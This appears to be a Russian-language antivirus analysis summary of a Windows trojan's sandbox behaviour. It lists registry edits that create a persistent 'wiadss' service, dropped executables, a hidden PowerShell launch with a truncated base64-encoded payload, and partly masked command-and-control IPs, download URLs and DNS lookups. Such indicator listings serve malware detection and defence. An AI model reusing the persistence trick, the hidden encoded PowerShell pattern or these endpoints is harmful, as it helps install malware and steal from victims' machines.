Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wiadss] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wiadss] 'ImagePath' = '"%WINDIR%\SysWOW64\setupapi\wiadss.exe"'
- 'wiadss' "%WINDIR%\SysWOW64\setupapi\wiadss.exe"
- 'wiadss' %WINDIR%\SysWOW64\setupapi\wiadss.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -ENCOD UwB2ACAAIABFAHIAQwA0AG8AMgAgACAAKAAgAFsAVABZAFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBzAFkAcwBUAEUAbQAuACcALAAnAFQAJwAsACcAaQBPAC...
- %HOMEPATH%\ujmiqax\pkv18r7\ey19z0q7g.exe
- %WINDIR%\syswow64\setupapi\wiadss.exe
- %HOMEPATH%\ujmiqax\pkv18r7\ey19z0q7g.exe в %WINDIR%\syswow64\setupapi\wiadss.exe
- '19#.#02.229.74':80
- '11#.#9.11.81':7080
- '70.##.251.94':8080
- http://vi###ohomem.com/wp-content/v/
- http://www.ec#####tocanaria.com/wp-admin/eR/
- http://ux##w.com/old/89i/
- http://70.##.251.94:8080/veh8/8EYZuBduIJpzu/rBgqUS/dvjM/V2HNh/ via 70.##.251.94
- DNS ASK vi###ohomem.com
- DNS ASK ec#####tocanaria.com
- DNS ASK ux##w.com
- '%HOMEPATH%\ujmiqax\pkv18r7\ey19z0q7g.exe'
- '%WINDIR%\syswow64\setupapi\wiadss.exe'